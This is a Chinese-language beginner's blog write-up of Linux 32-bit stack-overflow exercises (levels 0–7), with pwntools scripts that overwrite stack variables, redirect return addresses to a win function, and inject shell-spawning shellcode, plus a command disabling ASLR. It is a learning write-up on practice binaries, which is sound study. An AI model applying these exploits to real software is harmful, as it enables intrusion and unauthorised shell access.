美文网首页
[pwn] Linux栈溢出入门

[pwn] Linux栈溢出入门

作者: ckj123 | 来源:发表于2019-02-12 13:16 被阅读7次

做题入门=。=
菜呀,学习

level-0

aris教我checksec一下看是啥文件


-w592

32位的打开32位的ida
主程序


-w657

ebp是栈底指针 esp是栈顶指针
好奇为啥栈底指针在最高的地方

  • aris说是为了最大化利用空间(懵逼)
    学习一下栈的知识

只要覆盖0x44个字节把 v5覆盖了就行

# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

payload = "A" * 0x44
cn.sendline(payload)

cn.readline()

gdb 调试一下


image

可以看到已经被覆盖了

level-1

-w551

checksec 一下 发现是32位的

打开ida


-w674

只要把v5的值覆盖成1633837924就行了
转成16进制


-w407
0x61626364
用pwntools的时候会跳不出argc

aris说就跟sys.argv 一样需要给参数
看来只能手输入了


-w735
这里刚刚好覆盖到
换成61626364就好了
-w732
因为是小端的所以是反的
-w711
ok

level2

-w644
还是32位的一个
用ida打开
-w601
直接运行会这样
-w610
有一个getenv函数
是从系统环境中获得变量,问了一下aris
export这个命令就行 ch1p告诉我在ida里面可以用h将值变成16进制 -w210

只要把v5的值覆盖成0d0a0d0a之后就好了
小端所以是0a0d0a0d

import os

os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
os.system('./level2')

运行一下成功了


-w389

level3

放到ida看一下

-w625
主函数
-w428
还有一个win函数
应该是把v5的值改成win的入口地址
-w531
看到win的入口地址是0x08048424
把v5的值改成这个就行
需要0x40个A+0x08048424

aris教我可以用hex来查看堆栈信息
使用回车可以看后面栈的内容

可以发现我已经将v5的值改掉了


-w829 -w343

成功
脚本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level3')

payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

level4

打开ida

-w580
发现main函数只有这么点
还有一个win函数
-w463
还是要跳到这个函数
找到win函数的入口地址
看了一下s离ebp是0x40个字节
所以payload是'A'*0x40+'bbbb'+p32(0x08048424)
b是用来覆盖ebp 接下来就是返回地址
在测试的时候发现不行用gdb调试一下
-w730
发现并没有跳到我给的地址打印一下栈看一下
-w734
发现我的已经写上去了,但是地址还在后面8位
所以更改payload
A*0x48+'bbbb'+p32(0x08048424)

成功!


-w607

脚本:

#coding=utf8
from pwn import *

local = 1

if local:
    cn = process('./level4')

payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)

cn.interactive()

解答

为啥往后移了8位静态分析的时候没啥问题
问了下aris


-w540
-w528

经过了与之后就比之前小了8就往后移了8位
23333
gdb是好东西

level5

打开ida


-w550

除了这个函数别的都没了
可以试着写shellcode了


image
看一下pwntools自带的shellcode只有44长度
那个字符串s的长度有48所以写进去应该没啥问题

不过首先得把ASLR的保护给关了不然写不到那个地址上
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

用gdb调试一下

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)
-w774

可以看到他已经被覆盖成功了,下一步就是shellcode


-w732

命令执行成功

level6

打开ida

-w596
main函数
看一下getpath函数
-w473
应该是从这里入手
发现不能像level5一样直接覆盖return的地址了
他做了限定前2位不能是ff
经过一天的学习=。=
通过空函数然后在return回来执行下一句return到shellcode就好了
-w788
找一个空函数 方便跳回来继续执行
就是你了0x0804850b
-w661
gdb调试一下
-w556
成功进去了
-w591
return到了我们的shellcode的位置
-w462
成功~
-w853

脚本:

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)

cn.interactive()

level7

还是和level6一样
只是getpath函数变了

-w421
就是多了一个strdup函数
上网查了一下他是从堆里面分配空间
感觉没啥用
跟上一题一样的思路找一下空函数
-w837
0x0804855b
然后写一下payload
-w731
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EF\nc')
cn.sendline(payload)

cn.interactive()

番外

当然有更屌的解法


-w867

(等我学成归来)在学习一下

参考资料

https://blog.csdn.net/sinat_31054897/article/details/82223889

相关文章

  • [pwn] Linux栈溢出入门

    做题入门=。=菜呀,学习 level-0 aris教我checksec一下看是啥文件 32位的打开32位的ida主...

  • 堆栈基础(一)

    新手入门pwn之栈溢出系列,先学习堆栈的基础,函数调用栈这些. 运行时栈 运行时栈(runtime stack)是...

  • 栈溢出简易指南

    栈 pwn 主题: 基本栈溢出 针对缓存区溢出防护的对策 shellcode 栈溢出的最终目的是执行shellco...

  • [new bugku] pwn

    最简单的pwn nc然后cat flag pwn3 64位栈溢出,程序有后门,栈溢出然后return到后门即可 p...

  • Int 0x80 ROP链(x86)

    2017年湖湘杯的一道pwn题 2017 湖湘杯 pwn300 用memcpy把堆中数据向栈上写的时候造成栈溢出 ...

  • pwn write_up 合集

    一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...

  • 新手科普 | CTF PWN堆溢出总结

    新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...

  • pwn栈溢出-基本ROP

    0. 前言 接触ctf一年有余,作为一名ctf老菜鸟,没写过一篇ctf相关博客,确实不该。 本文介绍pwn入门操作...

  • ogeek2019_pwn

    太菜了,只做出了3道pwn babyrop 利用'\x00'绕过strlen的检查,然后栈溢出rop bookma...

  • pwn学习之——花式栈溢出

    第一步看看保护措施,确定方略,再看看ida里面有用信息: 看到是栈的溢出漏洞,但是发现栈空间不够写指令,又发现题目...

网友评论

      本文标题:[pwn] Linux栈溢出入门

      本文链接:https://www.haomeiwen.com/subject/wdkzjqtx.html